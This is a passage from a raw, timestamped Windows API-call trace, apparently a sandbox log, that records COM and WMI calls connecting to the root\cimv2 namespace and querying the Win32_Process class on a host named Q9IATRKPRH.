ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0057.319] WbemDefPath:IUnknown:Release (This=0x1169c80) returned 0x2 [0057.319] WbemDefPath:IUnknown:Release (This=0x1169c80) returned 0x1 [0057.319] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0057.319] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0057.319] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169c80, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1169c80) returned 0x0 [0057.319] WbemDefPath:IUnknown:AddRef (This=0x1169c80) returned 0x3 [0057.319] WbemDefPath:IUnknown:Release (This=0x1169c80) returned 0x2 [0057.319] WbemDefPath:IWbemPath:SetText (This=0x1169c80, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0057.319] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169c80, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0057.319] WbemDefPath:IWbemPath:GetText (in: This=0x1169c80, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0057.319] WbemDefPath:IWbemPath:GetText (in: This=0x1169c80, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.319] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0057.319] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0057.319] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0057.319] IUnknown:Release (This=0x111f638) returned 0x1 [0057.320] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x11c9640) returned 0x0 [0057.320] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9640, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0057.320] WbemLocator:IClassFactory:CreateInstance (in: This=0x11c9640, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x11c9660) returned 0x0 [0057.320] WbemLocator:IUnknown:Release (This=0x11c9640) returned 0x0 [0057.320] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9660, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x11c9660) returned 0x0 [0057.320] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9660, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0057.321] WbemLocator:IUnknown:AddRef (This=0x11c9660) returned 0x3 [0057.321] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9660, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0057.321] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9660, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0057.321] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9660, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0057.321] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0057.321] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0057.321] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9660, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0057.321] WbemLocator:IUnknown:Release (This=0x11c9660) returned 0x2 [0057.321] WbemLocator:IUnknown:Release (This=0x11c9660) returned 0x1 [0057.321] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0057.321] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0057.321] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9660, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x11c9660) returned 0x0 [0057.321] WbemLocator:IUnknown:AddRef (This=0x11c9660) returned 0x3 [0057.321] WbemLocator:IUnknown:Release (This=0x11c9660) returned 0x2 [0057.321] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169c80, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0057.321] WbemDefPath:IWbemPath:GetText (in: This=0x1169c80, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0057.321] WbemDefPath:IWbemPath:GetText (in: This=0x1169c80, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.322] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x11c9680) returned 0x0 [0057.322] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11c9680, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x11c7830) returned 0x0 [0057.367] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7830, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11ccc00) returned 0x0 [0057.367] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11ccc00, pProxy=0x11c7830, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0057.367] WbemLocator:IUnknown:Release (This=0x11ccc00) returned 0x1 [0057.367] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7830, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11ccc40) returned 0x0 [0057.367] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7830, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11ccc00) returned 0x0 [0057.367] WbemLocator:IClientSecurity:SetBlanket (This=0x11ccc00, pProxy=0x11c7830, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0057.368] WbemLocator:IUnknown:Release (This=0x11ccc00) returned 0x2 [0057.368] WbemLocator:IUnknown:Release (This=0x11ccc40) returned 0x1 [0057.368] CoTaskMemFree (pv=0x11b1900) [0057.368] WbemLocator:IUnknown:AddRef (This=0x11c7830) returned 0x2 [0057.368] WbemLocator:IUnknown:Release (This=0x11c9680) returned 0x0 [0057.368] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0057.368] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0057.368] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7830, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11ccc10) returned 0x0 [0057.368] WbemLocator:IRpcOptions:Query (in: This=0x11ccc10, pPrx=0x11c96e0, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0057.368] WbemLocator:IUnknown:Release (This=0x11ccc10) returned 0x2 [0057.369] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0057.369] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0057.369] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7830, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x11c7830) returned 0x0 [0057.369] WbemLocator:IUnknown:Release (This=0x11c7830) returned 0x2 [0057.369] SysStringLen (param_1=0x0) returned 0x0 [0057.369] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169c80, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0057.369] WbemDefPath:IWbemPath:GetText (in: This=0x1169c80, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0057.369] WbemDefPath:IWbemPath:GetText (in: This=0x1169c80, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.369] WbemDefPath:IWbemPath:GetText (in: This=0x1169980, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0057.369] WbemDefPath:IWbemPath:GetText (in: This=0x1169980, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0057.369] IWbemServices:GetObject (in: This=0x11c7830, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11d2610, ppCallResult=0x0) returned 0x0 [0057.372] IWbemClassObject:Get (in: This=0x11d2610, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0057.372] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0057.372] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0057.372] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0057.373] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0057.373] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0057.373] IUnknown:Release (This=0x111f638) returned 0x1 [0057.374] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x11c9680) returned 0x0 [0057.374] WbemDefPath:IUnknown:QueryInterface (in: This=0x11c9680, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0057.375] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11c9680, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1169d40) returned 0x0 [0057.375] WbemDefPath:IUnknown:Release (This=0x11c9680) returned 0x0 [0057.375] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169d40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1169d40) returned 0x0 [0057.375] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169d40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0057.375] WbemDefPath:IUnknown:AddRef (This=0x1169d40) returned 0x3 [0057.375] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169d40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0057.375] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169d40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0057.375] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169d40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x11c96a0) returned 0x0 [0057.375] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11c96a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.375] WbemDefPath:IUnknown:Release (This=0x11c96a0) returned 0x3 [0057.375] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0057.375] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0057.375] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169d40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0057.375] WbemDefPath:IUnknown:Release (This=0x1169d40) returned 0x2 [0057.376] WbemDefPath:IUnknown:Release (This=0x1169d40) returned 0x1 [0057.376] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0057.376] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0057.376] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169d40, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1169d40) returned 0x0 [0057.376] WbemDefPath:IUnknown:AddRef (This=0x1169d40) returned 0x3 [0057.376] WbemDefPath:IUnknown:Release (This=0x1169d40) returned 0x2 [0057.376] WbemDefPath:IWbemPath:SetText (This=0x1169d40, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0057.376] IWbemClassObject:Get (in: This=0x11d2610, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0057.376] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0057.376] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0057.376] IWbemClassObject:Get (in: This=0x11d2610, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0057.376] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0057.377] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0057.377] IWbemClassObject:Get (in: This=0x11d2610, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0057.377] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0057.377] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0057.377] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0057.377] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0057.377] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0057.377] IUnknown:Release (This=0x111f638) returned 0x1 [0057.379] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11c9840) returned 0x0 [0057.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x11c9840, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0057.379] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11c9840, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1169e00) returned 0x0 [0057.379] WbemDefPath:IUnknown:Release (This=0x11c9840) returned 0x0 [0057.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169e00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1169e00) returned 0x0 [0057.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169e00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0057.380] WbemDefPath:IUnknown:AddRef (This=0x1169e00) returned 0x3 [0057.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169e00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0057.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169e00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0057.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169e00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11c9880) returned 0x0 [0057.380] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11c9880, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, 